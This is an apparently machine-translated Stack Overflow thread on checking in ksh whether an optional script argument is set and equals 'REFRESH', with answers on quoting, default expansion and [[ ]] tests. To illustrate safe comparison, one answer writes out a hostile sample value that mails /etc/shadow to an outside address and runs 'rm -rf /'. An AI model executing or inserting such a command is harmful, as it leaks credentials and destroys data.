2012-01-09 121 views
3

我有一個接受用戶輸入的腳本,REFRESH選項是可選的。我需要測試以查看$ REFRESH是否存在並且等於字符串「REFRESH」,如果它接着運行特定的代碼塊。檢查一個變量是否已設置,值是ksh

用戶將執行

./export_data.sh <user> <type> [REFRESH] 

如果我這樣做在PHP中我會簡單地使用isset()函數的功能,並在equivelent在ksh中存在嗎?

我曾嘗試以下,但這未能執行第二次測試$ REFRESH沒有設置:

if [ -n $REFRESH ] && [ $REFRESH == "REFRESH" ] 
then 
    echo "variable is set and the expected value"; 
    # do stuff 
fi 

我能想到這樣做的唯一的另一種方式是一個嵌套如果但這似乎凌亂:

if [ -n $REFRESH ] 
then 
    if [ $REFRESH == "REFRESH" ] 
    then 
     echo "variable is set and the expected value"; 
     # do stuff 
fi 

有沒有更好的方法來做到這一點?

回答

7
if [ "${REFRESH:-unset}" = "REFRESH" ] 
then ... 

這種替代unset如果在$REFRESH沒有價值或者如果該值是空字符串。無論哪種方式,它不是「刷新」,所以它的行爲如需要。

當測試變量時,將它們用雙引號引起來;它可以節省焦慮。事實上,這將意味着,你可以簡單地寫:

if [ "$REFRESH" = "REFRESH" ] 
then ... 
+0

不應該它是'if [「$ {REFRESH:-unset}」!=「unset」]'? – jlliagre 2012-01-09 17:51:07

+0

不可以。問題:我需要測試$ REFRESH是否存在,並且等於字符串「REFRESH」_。 – 2012-01-09 18:15:21

+1

確實。實際上有兩個問題,一個是明確的,而不是你的答覆直接解決的問題,另一個問題可能是真正的問題。無論如何,我回答了另一個問題。 – jlliagre 2012-01-10 05:41:39

1

回答到具體的問題:

如果我是PHP這樣做我會簡單地使用isset()函數的功能,做一個等價於ksh?

if [ "${REFRESH:-unset}" != unset ] 
3

我將在喬納森的回覆意見,但我太牛逼在這裏給了這樣的事情是可信的。

無論如何,如果您試圖在ksh中保存自己的焦慮,請不要使用傳統的Bourne shell []。相反,使用[[]]。

if [[ $REFRESH == REFRESH ]]; then 

這將始終評估你想要的方式。即使在if語句之前發生以下任何情況。

REFRESH='' 
REFRESH=' REFRESH' 
REFRESH='`mailx -s "good stuff" [email protected] < /etc/shadow`; sleep 5; rm -rf /`' 

要小心的事情是在事件的右手邊,它是一個變量,或者可以爲不僅僅是一個簡單的字符串比較其他的東西來評價一個字符串。考慮這些:

$ val='@(foo|REFRESH)' 
$ REFRESH=REFRESH; [[ $REFRESH == $val ]] && echo match 
match 
$ REFRESH=foo; [[ $REFRESH == $val ]] && echo match 
match 
$ REFRESH=REFRESH; [[ $REFRESH == "$val" ]] && echo match 
$ REFRESH=' REFRESH'; [[ $REFRESH == REFRESH ]] && echo match 
$ 

這裏我們可以看到引述RHS比使用[[]]時,引用了LHS更重要。此外,這表明[[]]允許使用模式和模式列表進行更強大的匹配。

0

順便說一句,在我看來最好的(因爲是最簡單的)方式,如果一個變量被設置或不設置爲測試:

if [ "$PIPPO" ] ; then 
    echo "Set" 
fi 

OR

if [ ! "$PIPPO" ] ; then 
    echo "Not Set" 
fi 
+0

如果您已設置「-u」,則不起作用。 – Adrien 2014-09-05 12:34:00